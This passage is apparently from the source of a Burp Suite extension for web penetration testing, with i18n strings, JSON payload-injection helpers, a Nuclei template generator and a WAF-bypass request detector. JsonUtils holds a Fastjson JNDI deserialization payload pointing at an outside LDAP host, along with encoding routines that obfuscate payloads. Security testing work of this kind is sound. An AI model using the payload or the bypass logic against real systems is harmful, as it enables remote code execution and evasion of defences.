zhMap.put("similar.label.main_domain", "主域名配置:"); zhMap.put("similar.message.select_project", "请先选择项目!"); zhMap.put("similar.table.copy_domain", "复制域名"); zhMap.put("similar.table.copy_ip", "复制IP"); zhMap.put("similar.table.copy_selected", "复制选中内容"); zhMap.put("similar.table.copy_selected_url", "复制选中URL"); zhMap.put("similar.table.copy_all_url", "复制全部URL"); zhMap.put("similar.table.clear_selection", "清除选择"); // DomainConfigDialog zhMap.put("similar.dialog.domain_config_title", "主域名配置"); zhMap.put("similar.dialog.add_domain", "添加域名"); zhMap.put("similar.dialog.edit_domain", "编辑域名"); zhMap.put("similar.dialog.delete_domain", "删除域名"); zhMap.put("similar.dialog.save", "保存"); zhMap.put("similar.dialog.domain_list", "主域名列表:"); // ProjectManageDialog zhMap.put("similar.dialog.project_manage_title", "项目管理"); zhMap.put("similar.dialog.add_project", "新增项目"); zhMap.put("similar.dialog.delete_project", "删除项目"); zhMap.put("similar.dialog.select_project", "选择项目"); // FastjsonUI zhMap.put("fastjson.button.refresh", "刷新"); zhMap.put("fastjson.checkbox.auto_refresh", "自动刷新"); zhMap.put("fastjson.dialog.select_type", "请选择类型:"); zhMap.put("fastjson.dialog.tip", "提示"); // AuthUI zhMap.put("auth.button.clear", "清空表格"); zhMap.put("auth.label.ip", "IP:"); zhMap.put("auth.button.save", "保存"); // SocksUI zhMap.put("socks.button.save", "保存"); zhMap.put("socks.button.next", "下一个"); zhMap.put("socks.checkbox.enable", "启用Socks"); zhMap.put("socks.border.proxy_pool", "代理池: (示例: 1.2.3.4:7890 或 1.2.3.4:7890:user:pass)"); zhMap.put("socks.border.log", "日志"); // ProjectManageDialog messages zhMap.put("similar.dialog.input_project_name", "请输入项目名称:"); zhMap.put("similar.dialog.create_project_failed", "创建项目失败: "); zhMap.put("similar.dialog.error", "错误"); zhMap.put("similar.dialog.confirm_delete_project", "确定要删除项目 '"); zhMap.put("similar.dialog.confirm_delete", "确认删除"); zhMap.put("similar.dialog.delete_project_failed", "删除项目失败: "); zhMap.put("similar.dialog.refresh_project_list_failed", "刷新项目列表失败: "); // DomainConfigDialog messages zhMap.put("similar.dialog.input_domain", "请输入域名:"); zhMap.put("similar.dialog.add_domain_title", "添加域名"); zhMap.put("similar.dialog.domain_exists", "域名已存在!"); zhMap.put("similar.dialog.tip", "提示"); zhMap.put("similar.dialog.edit_domain", "编辑域名:"); zhMap.put("similar.dialog.select_domain_to_edit", "请先选择要编辑的域名!"); zhMap.put("similar.dialog.confirm_delete_domain", "确定要删除选中的域名吗?"); zhMap.put("similar.dialog.select_domain_to_delete", "请先选择要删除的域名!"); // UrlRedirectUI zhMap.put("redirect.checkbox.passive", "被动扫描"); zhMap.put("redirect.button.clear", "清除"); zhMap.put("redirect.border.settings", "设置"); zhMap.put("redirect.label.parameter", "参数"); zhMap.put("redirect.label.parameters", "参数"); zhMap.put("redirect.label.payloads", "Payloads"); zhMap.put("redirect.button.add", "添加"); zhMap.put("redirect.button.clear", "清除"); zhMap.put("redirect.value.yes", "是"); zhMap.put("redirect.value.no", "否"); // ConfigUI zhMap.put("config.label.dnslog", "DNS日志"); zhMap.put("config.label.ip", "IP地址"); zhMap.put("config.label.tool_name", "工具名称"); zhMap.put("config.label.tool_args", "工具参数"); zhMap.put("config.button.save", "保存配置"); zhMap.put("config.button.refresh", "刷新"); zhMap.put("config.button.delete", "删除选中"); zhMap.put("config.button.clear_cache", "清除缓存"); zhMap.put("config.button.reset", "重置重复性校验"); zhMap.put("config.message.delete_success", "删除成功"); zhMap.put("config.message.delete_failed", "删除失败"); zhMap.put("config.message.save_success", "保存成功"); zhMap.put("config.message.reset_success", "重置成功"); zhMap.put("config.title.info", "提示"); // 通用 zhMap.put("common.button.save", "保存"); zhMap.put("common.button.next", "下一个"); zhMap.put("common.checkbox.enable", "启用Socks"); zhMap.put("common.border.proxy_pool", "代理池: (示例: 1.2.3.4:7890 or 1.2.3.4:7890:user:pass)"); zhMap.put("common.border.log", "日志"); zhMap.put("common.label.language", "语言"); zhMap.put("common.message.language_change", "语言已更改,请重启插件以应用更改。"); zhMap.put("common.title.info", "提示"); // SocksUI zhMap.put("socks.message.save_success", "成功保存数据%s条"); zhMap.put("socks.message.invalid_format", "请输入正确的代理格式"); zhMap.put("socks.message.save_first", "请先保存代理配置"); zhMap.put("socks.message.all_used", "所有代理已使用完毕"); zhMap.put("socks.message.current_proxy", "当前使用ip:%s:%s"); zhMap.put("socks.message.current_proxy_with_user", "当前使用ip:%s:%s 用户名:%s"); languageMap.put(Language.CHINESE, zhMap); // 从配置中加载语言设置 loadLanguageFromConfig(); } /** * 从配置中加载语言设置 */ private static void loadLanguageFromConfig() { try { ConfigBean config = ConfigDao.getConfig("config", "language"); if (config != null && "zh".equals(config.getValue())) { currentLanguage = Language.CHINESE; } } catch (Exception e) { // 加载失败时使用默认语言 currentLanguage = Language.ENGLISH; } } /** * 获取当前语言 */ public static Language getCurrentLanguage() { return currentLanguage; } /** * 设置语言 */ public static void setLanguage(Language language) { currentLanguage = language; } /** * 获取国际化文本 */ public static String get(String key) { Map map = languageMap.get(currentLanguage); return map != null ? map.getOrDefault(key, key) : key; } /** * 切换语言 */ public static void toggleLanguage() { currentLanguage = currentLanguage == Language.ENGLISH ? Language.CHINESE : Language.ENGLISH; } /** * 检查是否为中文 */ public static boolean isChinese() { return currentLanguage == Language.CHINESE; } /** * 设置是否为中文 */ public static void setChinese(boolean isChinese) { currentLanguage = isChinese ? Language.CHINESE : Language.ENGLISH; } } ================================================ FILE: src/main/java/burp/utils/JsonProcessorUtil.java ================================================ package burp.utils; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import java.util.ArrayList; import java.util.List; /** * JSON字符串处理工具类 * 支持对JSON字符串中的字符串类型值进行修改 * * 使用示例: * 1. 使用布尔值控制模式(推荐): * boolean isDeleteOrigin = true; // true表示替换模式,false表示追加模式 * // 处理单引号 * List results1 = JsonProcessorUtil.processBatch( * jsonInput, Arrays.asList("'"), isDeleteOrigin); * * // 处理指定数量的单引号 * List results2 = JsonProcessorUtil.processWithQuotes( * jsonInput, 2, isDeleteOrigin); * * // 批量处理多个数量的单引号 * List results3 = JsonProcessorUtil.processWithQuotesBatch( * jsonInput, Arrays.asList(1, 2, 3), isDeleteOrigin); * * 2. 使用ProcessMode枚举: * // 单个处理 * List results1 = JsonProcessorUtil.processWithQuotes( * jsonInput, 2, ProcessMode.APPEND); * * // 批量处理 * List results2 = JsonProcessorUtil.processWithQuotesBatch( * jsonInput, Arrays.asList(1, 2, 3), ProcessMode.APPEND); * * // 自定义payload * List results3 = JsonProcessorUtil.processBatch( * jsonInput, Arrays.asList("'", "''"), ProcessMode.APPEND); */ public class JsonProcessorUtil { // 结果类 public static class ProcessResult { private String paramPath; // JSON 参数路径 private String modifiedJson; // 修改后的 JSON public ProcessResult(String paramPath, String modifiedJson) { this.paramPath = paramPath; this.modifiedJson = modifiedJson; } public String getParamPath() { return paramPath; } public String getModifiedJson() { return modifiedJson; } } /** * 处理模式枚举 */ public enum ProcessMode { REPLACE(0, "替换模式"), APPEND(1, "追加模式"); private final int code; private final String description; ProcessMode(int code, String description) { this.code = code; this.description = description; } public int getCode() { return code; } public String getDescription() { return description; } // 转换为布尔值 public boolean toBoolean() { return this == REPLACE; } // 从布尔值获取模式 public static ProcessMode fromBoolean(boolean isDeleteOrigin) { return isDeleteOrigin ? REPLACE : APPEND; } } /** * 处理单个JSON对象(使用布尔值控制模式) * * @param jsonInput JSON输入(字符串或JSONObject) * @param payload 要插入的内容 * @param isDeleteOrigin true表示替换模式,false表示追加模式 * @return 处理后的JSON字符串列表 */ public static List process(Object jsonInput, String payload, boolean isDeleteOrigin) { return process(jsonInput, payload, ProcessMode.fromBoolean(isDeleteOrigin)); } // 修改 process 方法返回带路径信息的结果 public static List processWithPath(Object jsonInput, String payload, boolean isDeleteOrigin) { List results = new ArrayList<>(); try { if (jsonInput instanceof JSONObject) { processJsonObjectWithPath((JSONObject) jsonInput, null, "", payload, isDeleteOrigin ? 0 : 1, results); } else if (jsonInput instanceof String) { Object parsedJson = JSON.parse((String) jsonInput); return processWithPath(parsedJson, payload, isDeleteOrigin); } } catch (Exception e) { throw new JsonProcessingException("处理JSON时发生错误: " + e.getMessage(), e); } return results; } // 新增处理数组的方法 private static void processArrayWithPath(JSONArray array, JSONObject root, String path, String payload, int mode, List results) { for (int i = 0; i < array.size(); i++) { Object item = array.get(i); String currentPath = path + "[" + i + "]"; if (item instanceof String) { JSONObject newRoot = cloneJsonObject(root); JSONArray targetArray = getArrayByPath(newRoot, path); if (targetArray != null) { String originalValue = (String) item; targetArray.set(i, mode == 0 ? payload : originalValue + payload); results.add(new ProcessResult(currentPath, JSON.toJSONString(newRoot))); } } else if (item instanceof JSONObject) { processJsonObjectWithPath( (JSONObject) item, root, currentPath, payload, mode, results ); } } } // 新增带路径的处理方法 private static void processJsonObjectWithPath(JSONObject currentObject, JSONObject root, String path, String payload, int mode, List results) { for (String key : currentObject.keySet()) { Object value = currentObject.get(key); String currentPath = path.isEmpty() ? key : path + "." + key; if (value instanceof String) { JSONObject newRoot = root == null ? cloneJsonObject(currentObject) : cloneJsonObject(root); updateValueInPath(newRoot, path, key, (String) value, payload, mode); results.add(new ProcessResult(currentPath, JSON.toJSONString(newRoot))); } else if (value instanceof JSONObject) { processJsonObjectWithPath( (JSONObject) value, root == null ? currentObject : root, currentPath, payload, mode, results ); } else if (value instanceof JSONArray) { processArrayWithPath( (JSONArray) value, root == null ? currentObject : root, currentPath, payload, mode, results ); } } } /** * 处理单个JSON对象,每次只修改一个参数 * * @param jsonInput JSON输入(字符串或JSONObject) * @param payload 要插入的内容 * @param mode 处理模式 * @return 处理后的JSON字符串列表 */ public static List process(Object jsonInput, String payload, ProcessMode mode) { try { List results = processJsonSingle(jsonInput, payload, mode.getCode()); return convertResultsToString(results); } catch (Exception e) { throw new JsonProcessingException("处理JSON时发生错误: " + e.getMessage(), e); } } /** * 批量处理JSON对象(使用布尔值控制模式) * * @param jsonInput JSON输入 * @param payloads 要插入的内容列表 * @param isDeleteOrigin true表示替换模式,false表示追加模式 * @return 处理后的JSON字符串列表 */ public static List processBatch(Object jsonInput, List payloads, boolean isDeleteOrigin) { return processBatch(jsonInput, payloads, ProcessMode.fromBoolean(isDeleteOrigin)); } /** * 批量处理JSON对象 * * @param jsonInput JSON输入 * @param payloads 要插入的内容列表 * @param mode 处理模式 * @return 处理后的JSON字符串列表 */ public static List processBatch(Object jsonInput, List payloads, ProcessMode mode) { List allResults = new ArrayList<>(); for (String payload : payloads) { allResults.addAll(process(jsonInput, payload, mode)); } return allResults; } /** * 使用指定数量的单引号处理JSON(使用布尔值控制模式) * * @param jsonInput JSON输入 * @param quoteCount 单引号数量 * @param isDeleteOrigin true表示替换模式,false表示追加模式 * @return 处理后的JSON字符串列表 */ public static List processWithQuotes(Object jsonInput, int quoteCount, boolean isDeleteOrigin) { return processWithQuotes(jsonInput, quoteCount, ProcessMode.fromBoolean(isDeleteOrigin)); } /** * 使用指定数量的单引号处理JSON * * @param jsonInput JSON输入 * @param quoteCount 单引号数量 * @param mode 处理模式 * @return 处理后的JSON字符串列表 */ public static List processWithQuotes(Object jsonInput, int quoteCount, ProcessMode mode) { return process(jsonInput, generateQuotes(quoteCount), mode); } /** * 批量处理指定数量的单引号(使用布尔值控制模式) * * @param jsonInput JSON输入 * @param quoteCounts 单引号数量列表 * @param isDeleteOrigin true表示替换模式,false表示追加模式 * @return 处理后的JSON字符串列表 */ public static List processWithQuotesBatch(Object jsonInput, List quoteCounts, boolean isDeleteOrigin) { return processWithQuotesBatch(jsonInput, quoteCounts, ProcessMode.fromBoolean(isDeleteOrigin)); } /** * 批量处理指定数量的单引号 * * @param jsonInput JSON输入 * @param quoteCounts 单引号数量列表 * @param mode 处理模式 * @return 处理后的JSON字符串列表 */ public static List processWithQuotesBatch(Object jsonInput, List quoteCounts, ProcessMode mode) { List allResults = new ArrayList<>(); for (Integer count : quoteCounts) { allResults.addAll(processWithQuotes(jsonInput, count, mode)); } return allResults; } /** * 将结果转换为字符串列表 */ private static List convertResultsToString(List results) { List stringResults = new ArrayList<>(); for (Object result : results) { stringResults.add(JSON.toJSONString(result)); } return stringResults; } /** * 生成指定数量的单引号 */ private static String generateQuotes(int count) { StringBuilder sb = new StringBuilder(); for (int i = 0; i < count; i++) { sb.append('\''); } return sb.toString(); } /** * 处理JSON数据 */ private static List processJsonSingle(Object jsonData, String payload, int mode) { List results = new ArrayList<>(); if (jsonData instanceof JSONObject) { processJsonObject((JSONObject) jsonData, null, "", payload, mode, results); } else if (jsonData instanceof String) { try { Object parsedJson = JSON.parse((String) jsonData); return processJsonSingle(parsedJson, payload, mode); } catch (Exception e) { throw new JsonProcessingException("无效的JSON字符串", e); } } return results; } /** * 处理JSON对象 */ private static void processJsonObject(JSONObject currentObject, JSONObject root, String path, String payload, int mode, List results) { for (String key : currentObject.keySet()) { Object value = currentObject.get(key); String currentPath = path.isEmpty() ? key : path + "." + key; if (value instanceof String) { JSONObject newRoot = root == null ? cloneJsonObject(currentObject) : cloneJsonObject(root); updateValueInPath(newRoot, path, key, (String) value, payload, mode); results.add(newRoot); } else if (value instanceof JSONObject) { processJsonObject( (JSONObject) value, root == null ? currentObject : root, currentPath, payload, mode, results ); } else if (value instanceof JSONArray) { processArray( (JSONArray) value, root == null ? currentObject : root, currentPath, payload, mode, results ); } } } /** * 处理JSON数组 */ private static void processArray(JSONArray array, JSONObject root, String path, String payload, int mode, List results) { for (int i = 0; i < array.size(); i++) { Object item = array.get(i); if (item instanceof String) { JSONObject newRoot = cloneJsonObject(root); JSONArray targetArray = getArrayByPath(newRoot, path); if (targetArray != null) { targetArray.set(i, mode == 0 ? payload : item + payload); results.add(newRoot); } } else if (item instanceof JSONObject) { processJsonObject( (JSONObject) item, root, path + "[" + i + "]", payload, mode, results ); } } } /** * 根据路径更新值 */ private static void updateValueInPath(JSONObject root, String path, String key, String originalValue, String payload, int mode) { if (path.isEmpty()) { root.put(key, mode == 0 ? payload : originalValue + payload); return; } String[] parts = path.split("\\."); JSONObject current = root; for (String part : parts) { if (part.contains("[") && part.contains("]")) { String arrayKey = part.substring(0, part.indexOf("[")); int index = Integer.parseInt(part.substring( part.indexOf("[") + 1, part.indexOf("]"))); JSONArray array = current.getJSONArray(arrayKey); current = array.getJSONObject(index); } else { current = current.getJSONObject(part); } } current.put(key, mode == 0 ? payload : originalValue + payload); } /** * 根据路径获取数组 */ private static JSONArray getArrayByPath(JSONObject root, String path) { String[] parts = path.split("\\."); JSONObject current = root; for (int i = 0; i < parts.length - 1; i++) { current = current.getJSONObject(parts[i]); if (current == null) return null; } return current.getJSONArray(parts[parts.length - 1]); } /** * 深度克隆JSONObject */ private static JSONObject cloneJsonObject(JSONObject original) { return JSON.parseObject(JSON.toJSONString(original)); } /** * JSON处理异常类 */ public static class JsonProcessingException extends RuntimeException { public JsonProcessingException(String message, Throwable cause) { super(message, cause); } public JsonProcessingException(String message) { super(message); } } } ================================================ FILE: src/main/java/burp/utils/JsonUtils.java ================================================ package burp.utils; import java.util.*; import java.util.regex.Matcher; import java.util.regex.Pattern; public class JsonUtils { public static List updateJsonObjectFromStr(Object baseObj, String updateStr, int mode) { List resultList = new ArrayList<>(); if (mode == 0) { resultList.add(replaceUpdate(baseObj, updateStr)); } else if (mode == 1) { resultList.add(appendUpdate(baseObj, updateStr)); } else { throw new IllegalArgumentException("Invalid mode: " + mode); } return resultList; } private static Object replaceUpdate(Object obj, String updateStr) { if (obj == null) { return null; } if (obj instanceof Map) { Map map = (Map) obj; Map updatedMap = new LinkedHashMap<>(); for (Map.Entry entry : map.entrySet()) { updatedMap.put(entry.getKey(), replaceUpdate(entry.getValue(), updateStr)); } return updatedMap; } else if (obj instanceof List) { List list = (List) obj; List updatedList = new ArrayList<>(); for (Object item : list) { updatedList.add(replaceUpdate(item, updateStr)); } return updatedList; } else if (obj instanceof String) { return updateStr; } else if (obj instanceof Integer) { return obj; } else if (obj instanceof Double) { return obj; } else if (obj instanceof Long) { return obj; }else if (obj instanceof Boolean) { return obj; } else { throw new IllegalArgumentException("Unsupported data type: " + obj.getClass().getName()); } } private static Object appendUpdate(Object obj, String updateStr) { if (obj == null) { return null; } if (obj instanceof Map) { Map map = (Map) obj; Map updatedMap = new LinkedHashMap<>(); for (Map.Entry entry : map.entrySet()) { updatedMap.put(entry.getKey(), appendUpdate(entry.getValue(), updateStr)); } return updatedMap; } else if (obj instanceof List) { List list = (List) obj; List updatedList = new ArrayList<>(); for (Object item : list) { updatedList.add(appendUpdate(item, updateStr)); } return updatedList; } else if (obj instanceof String) { return obj.toString() + updateStr; } else if (obj instanceof Integer) { return obj; } else if (obj instanceof Double) { return obj; } else if (obj instanceof Long) { return obj; }else if (obj instanceof Boolean) { return obj; }else { throw new IllegalArgumentException("Unsupported data type: " + obj.getClass().getName()); } } // 将字符串转换为Unicode编码 private static String encodeToJsonUnicode(String json) { // 匹配双引号中间的部分的正则表达式 String regex = "\"(.*?)\""; // 编译正则表达式 Pattern pattern = Pattern.compile(regex); // 创建Matcher对象 Matcher matcher = pattern.matcher(json); // 使用StringBuffer保存转换后的JSON StringBuffer result = new StringBuffer(); // 循环匹配并替换 while (matcher.find()) { // 获取匹配到的部分(包含引号) String matchWithQuotes = matcher.group(); // 获取匹配到的部分(不包含引号) String matchWithoutQuotes = matcher.group(1); // 判断是否有引号,然后进行相应的处理 if (matchWithQuotes != null) { // 处理带引号的部分 String unicodeMatch = "\"" + convertToUnicode(matchWithoutQuotes).replace("\\u", "\\\\u") + "\""; matcher.appendReplacement(result, unicodeMatch); } } // 将最后一次匹配后的部分追加到结果中 matcher.appendTail(result); return result.toString(); } // 将字符串转换为16进制编码 private static String encodeToJsonHex(String json) { // 匹配双引号中间的部分的正则表达式 String regex = "\"(.*?)\""; // 编译正则表达式 Pattern pattern = Pattern.compile(regex); // 创建Matcher对象 Matcher matcher = pattern.matcher(json); // 使用StringBuffer保存转换后的JSON StringBuffer result = new StringBuffer(); // 循环匹配并替换 while (matcher.find()) { // 获取匹配到的部分(包含引号) String matchWithQuotes = matcher.group(); // 获取匹配到的部分(不包含引号) String matchWithoutQuotes = matcher.group(1); // 判断是否有引号,然后进行相应的处理 if (matchWithQuotes != null) { // 处理带引号的部分 String hexMatch = "\"" + convertToHex(matchWithoutQuotes).replace("\\x", "\\\\x") + "\""; matcher.appendReplacement(result, hexMatch); } } // 将最后一次匹配后的部分追加到结果中 matcher.appendTail(result); return result.toString(); } // 将字符串转换为Unicode编码及16进制 public static String encodeToJsonRandom(String json) { // 匹配双引号中间的部分的正则表达式 String regex = "\"(.*?)\""; // 编译正则表达式 Pattern pattern = Pattern.compile(regex); // 创建Matcher对象 Matcher matcher = pattern.matcher(json); // 使用StringBuffer保存转换后的JSON StringBuffer result = new StringBuffer(); // 循环匹配并替换 while (matcher.find()) { // 获取匹配到的部分(包含引号) String matchWithQuotes = matcher.group(); // 获取匹配到的部分(不包含引号) String matchWithoutQuotes = matcher.group(1); // 判断是否有引号,然后进行相应的处理 if (matchWithQuotes != null) { // 处理带引号的部分 String hexMatch = "\"";// + convertToHex(matchWithoutQuotes).replace("\\x", "\\\\x") + "\"" StringBuilder buildCode = new StringBuilder(); for (char character : matchWithoutQuotes.toCharArray()) { Random random = new Random(); // 生成0到2之间的随机整数 int randomNumber = random.nextInt(3); // 根据随机数的值选择执行哪条语句 switch (randomNumber) { case 0: buildCode.append("\\u").append(Integer.toHexString(character | 0x10000).substring(1)); break; case 1: buildCode.append("\\x").append(Integer.toHexString(character)); break; case 2: buildCode.append(character); break; default: System.out.println("未知情况"); } } hexMatch += buildCode.toString().replace("\\x", "\\\\x").replace("\\u", "\\\\u"); hexMatch += "\""; matcher.appendReplacement(result, hexMatch); } } // 将最后一次匹配后的部分追加到结果中 matcher.appendTail(result); return result.toString(); } // 将字符串转换为Unicode编码 private static String convertToUnicode(String input) { StringBuilder unicode = new StringBuilder(); for (char character : input.toCharArray()) { unicode.append("\\u").append(Integer.toHexString(character | 0x10000).substring(1)); } return unicode.toString(); } // 将字符串转换为16进制 private static String convertToHex(String input) { StringBuilder hex = new StringBuilder(); for (char character : input.toCharArray()) { hex.append("\\x").append(Integer.toHexString(character)); } return hex.toString(); } public static void main(String[] args) { String s = encodeToJsonRandom("{\n" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\": \"ldap://192.168.2.2:8085/hcfzoUvw\",\n" + " \"autoCommit\": true\n" + "}"); System.out.println(s); } } ================================================ FILE: src/main/java/burp/utils/Nuclei.java ================================================ package burp.utils; import burp.IHttpRequestResponse; import burp.IRequestInfo; import burp.bean.NucleiBean; import org.springframework.expression.ExpressionParser; import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; import javax.swing.*; import java.awt.*; import java.awt.datatransfer.StringSelection; import java.util.HashMap; import java.util.List; import java.util.Map; public class Nuclei { private static final String Template_post = "id: #{[id]}\n" + "\n" + "info:\n" + " name: #{[name]}\n" + " author: #{[author]}\n" + " severity: #{[severity]}\n" + " description: #{[description]}\n" + " reference:\n" + " - #{[reference]}\n" + " tags: #{[tags]}\n" + "\n" + "requests:\n" + " - raw:\n" + " - |\n" + " #{[raw]}\n" + "\n" + " matchers:\n" + " - type: dsl\n" + " dsl:\n" + " - \"#{[dsl]}\"\n"; public static String[] severitys = {"critical", "high", "medium", "low", "info"}; public static String[] dslStr = {"status_code == 200 && contains(body, 'bingo')", "status_code_1 == 200 && !contains(body_3, 'bingo')", "regex('root:.*:0:0:', body)", "contains(body, 'bingo')", "contains(all_headers_1, 'text/html')"}; private static String dsl; private static String severity; private static String name; private static String author; private static IRequestInfo analyzeRequest; private static IHttpRequestResponse baseRequestResponse; public static void Generate(IHttpRequestResponse[] iContextMenuInvocation) { baseRequestResponse = iContextMenuInvocation[0]; analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); name = JOptionPane.showInputDialog(null, "请输入模板名称"); author = JOptionPane.showInputDialog(null, "请输入作者名称"); severity = JOptionPane.showInputDialog(null, "请选择漏洞等级", "选择框", JOptionPane.INFORMATION_MESSAGE, null, severitys, severitys[0]).toString(); dsl = JOptionPane.showInputDialog(null, "请选择表达式demo", "选择框", JOptionPane.INFORMATION_MESSAGE, null, dslStr, dslStr[0]).toString(); JOptionPane.showMessageDialog(null, "模板数据已复制到粘贴板,请自行更改其他参数"); StringSelection template = new StringSelection(NucleiPost()); Toolkit.getDefaultToolkit().getSystemClipboard().setContents(template, template); } public static String NucleiPost() { Map params = new HashMap<>(); NucleiBean nuclei = new NucleiBean(); nuclei.setId(name); nuclei.setName(name); nuclei.setAuthor(author); nuclei.setSeverity(severity); nuclei.setReference("Reference"); nuclei.setDescription("description"); nuclei.setTags("tags"); StringBuilder raw_post = new StringBuilder(); List headers = analyzeRequest.getHeaders(); for (String header : headers) { if (!header.contains("Host")) { raw_post.append(header).append("\n "); } } int bodyOffset = analyzeRequest.getBodyOffset(); byte[] byte_Request = baseRequestResponse.getRequest(); String request = new String(byte_Request); String body = " " + request.substring(bodyOffset); raw_post.append("\n").append(body.replace("\r\n", "\r\n ")); nuclei.setRaw(raw_post.toString()); params.put("id", nuclei.getId()); params.put("name", nuclei.getName()); params.put("author", nuclei.getAuthor()); params.put("severity", nuclei.getSeverity()); params.put("reference", nuclei.getReference()); params.put("description", nuclei.getDescription()); params.put("tags", nuclei.getTags()); params.put("raw", nuclei.getRaw()); params.put("dsl", dsl); ExpressionParser parser = new SpelExpressionParser(); TemplateParserContext parserContext = new TemplateParserContext(); return parser.parseExpression(Template_post, parserContext).getValue(params, String.class); } } ================================================ FILE: src/main/java/burp/utils/ResponseSimilarityMatcher.java ================================================ package burp.utils; import java.util.*; public class ResponseSimilarityMatcher { // 相似度阈值,可以根据实际测试调整 private static final double SIMILARITY_THRESHOLD = 0.85; private static final int MIN_TOKEN_LENGTH = 4; /** * 判断两个响应数据包的相似度关系 * @return true 如果两个响应包差异显著(相似度低于阈值) */ public static boolean compareTwoResponses(String response1, String response2) { if (response1 == null || response2 == null) { return false; } double similarity = calculateJaccardSimilarity(response1, response2); return similarity < SIMILARITY_THRESHOLD; } /** * 判断三个响应包的相似度关系,用于SQL注入检测 * @return true 如果response1和response3相似,且都与response2不相似 */ public static boolean compareThreeResponses(String response1, String response2, String response3) { if (response1 == null || response2 == null || response3 == null) { return false; } double similarity1_3 = calculateJaccardSimilarity(response1, response3); // 正常响应相似度 double similarity1_2 = calculateJaccardSimilarity(response1, response2); // 与异常响应相似度 double similarity2_3 = calculateJaccardSimilarity(response2, response3); // 与异常响应相似度 return similarity1_3 >= SIMILARITY_THRESHOLD && similarity1_2 < SIMILARITY_THRESHOLD && similarity2_3 < SIMILARITY_THRESHOLD; } /** * 计算Jaccard相似度 */ private static double calculateJaccardSimilarity(String str1, String str2) { str1 = preprocessResponse(str1); str2 = preprocessResponse(str2); Set set1 = tokenize(str1); Set set2 = tokenize(str2); Set intersection = new HashSet<>(set1); intersection.retainAll(set2); Set union = new HashSet<>(set1); union.addAll(set2); if (union.isEmpty()) { return 1.0; } return (double) intersection.size() / union.size(); } /** * 预处理响应内容 */ private static String preprocessResponse(String response) { if (response == null) { return ""; } String result = response; // 移除HTML标签 result = result.replaceAll("<[^>]+>", " "); // 移除动态内容 result = result.replaceAll("\\d{10,}", "") // 时间戳 .replaceAll("[0-9a-f]{32}", "") // MD5 .replaceAll("[0-9a-f]{40}", "") // SHA1 .replaceAll("[0-9a-f]{64}", "") // SHA256 .replaceAll("id=\\d+", "id=") // 数字ID .replaceAll("\\d{4}-\\d{2}-\\d{2}", "") // 日期 .replaceAll("\\d{2}:\\d{2}:\\d{2}", ""); // 时间 // 移除标点和特殊字符 result = result.replaceAll("[^a-zA-Z0-9\\u4e00-\\u9fa5]", " "); // 转小写并处理空格 result = result.toLowerCase().replaceAll("\\s+", " ").trim(); return result; } /** * 分词处理 */ private static Set tokenize(String str) { Set tokens = new HashSet<>(); String[] words = str.split("\\s+"); for (String word : words) { if (word.length() >= MIN_TOKEN_LENGTH) { tokens.add(word); if (word.length() > MIN_TOKEN_LENGTH * 2) { for (int i = 0; i <= word.length() - MIN_TOKEN_LENGTH; i++) { tokens.add(word.substring(i, i + MIN_TOKEN_LENGTH)); } } } } return tokens; } } ================================================ FILE: src/main/java/burp/utils/RobotInput.java ================================================ package burp.utils; import javax.swing.*; import java.awt.*; import java.awt.datatransfer.Clipboard; import java.awt.datatransfer.StringSelection; public class RobotInput extends Robot { public RobotInput() throws AWTException { super(); } public void inputString(String str) { delay(100); Clipboard clip = Toolkit.getDefaultToolkit().getSystemClipboard();//获取剪切板 StringSelection tText = new StringSelection(str); clip.setContents(tText, tText); //设置剪切板内容,在Linux中这会修改ctrl+shift+v的内容 delay(100); if (!Utils.isSelect){ Utils.isSelect = true; JOptionPane.showMessageDialog(null, "请打开cmd终端按下Ctrl+V或者邮件粘贴(只提醒一次)", "提示", JOptionPane.INFORMATION_MESSAGE); } } } ================================================ FILE: src/main/java/burp/utils/SmartRequestDetector.java ================================================ package burp.utils; import burp.IExtensionHelpers; import burp.IHttpRequestResponse; import burp.IHttpService; import burp.utils.Utils; import java.io.UnsupportedEncodingException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLEncoder; import java.util.ArrayList; import java.util.List; public class SmartRequestDetector { private final IExtensionHelpers helpers; private final IHttpService httpService; private static final int[] BLOCKED_STATUS_CODES = {403,406,410}; public SmartRequestDetector(IHttpService httpService) { this.helpers = Utils.helpers; this.httpService = httpService; } public IHttpRequestResponse smartSendRequest(String url, byte[] request) { IHttpRequestResponse normalResponse = sendRequest(url, request); if (isSuccessResponse(normalResponse)) { return normalResponse; } if (isBlockedResponse(normalResponse)) { List encodedResponses = tryEncodingBypass(url, request); for (IHttpRequestResponse response : encodedResponses) { if (isSuccessResponse(response)) { return response; } } } return normalResponse; } private List tryEncodingBypass(String url, byte[] request) { List responses = new ArrayList<>(); try { URL urlObj = new URL(url); String path = urlObj.getPath(); String query = urlObj.getQuery(); String fragment = urlObj.getRef(); String[] encodedPaths = new String[] { path, urlEncodePath(path), doubleUrlEncodePath(path), unicodeEncodePath(path), mixedEncodePath(path) }; for (String encodedPath : encodedPaths) { if (encodedPath == null || encodedPath.equals(path)) continue; String newUrl = buildUrl(urlObj, encodedPath, query, fragment); IHttpRequestResponse response = sendRequest(newUrl, request); if (response != null) { responses.add(response); } } } catch (Exception e) { } return responses; } private String urlEncodePath(String path) { try { String encoded = URLEncoder.encode(path, "UTF-8"); return encoded.replace("%2F", "/") .replace("%3D", "=") .replace("%3F", "?") .replace("%40", "@") .replace("%3A", ":") .replace("%26", "&") .replace("%23", "#"); } catch (UnsupportedEncodingException e) { return null; } } private String doubleUrlEncodePath(String path) { try { String firstEncode = URLEncoder.encode(path, "UTF-8"); String secondEncode = URLEncoder.encode(firstEncode, "UTF-8"); return secondEncode.replace("%252F", "/") .replace("%253D", "=") .replace("%253F", "?") .replace("%2540", "@") .replace("%253A", ":"); } catch (UnsupportedEncodingException e) { return null; } } private String unicodeEncodePath(String path) { try { byte[] bytes = path.getBytes("UTF-8"); StringBuilder result = new StringBuilder(); for (byte b : bytes) { if (b == '/') { result.append('/'); } else { result.append(String.format("%%%02X", b & 0xFF)); } } return result.toString(); } catch (Exception e) { return null; } } private String mixedEncodePath(String path) { StringBuilder result = new StringBuilder(); for (int i = 0; i < path.length(); i++) { char c = path.charAt(i); if (c == '/') { result.append(c); } else if (i % 2 == 0) { try { result.append(URLEncoder.encode(String.valueOf(c), 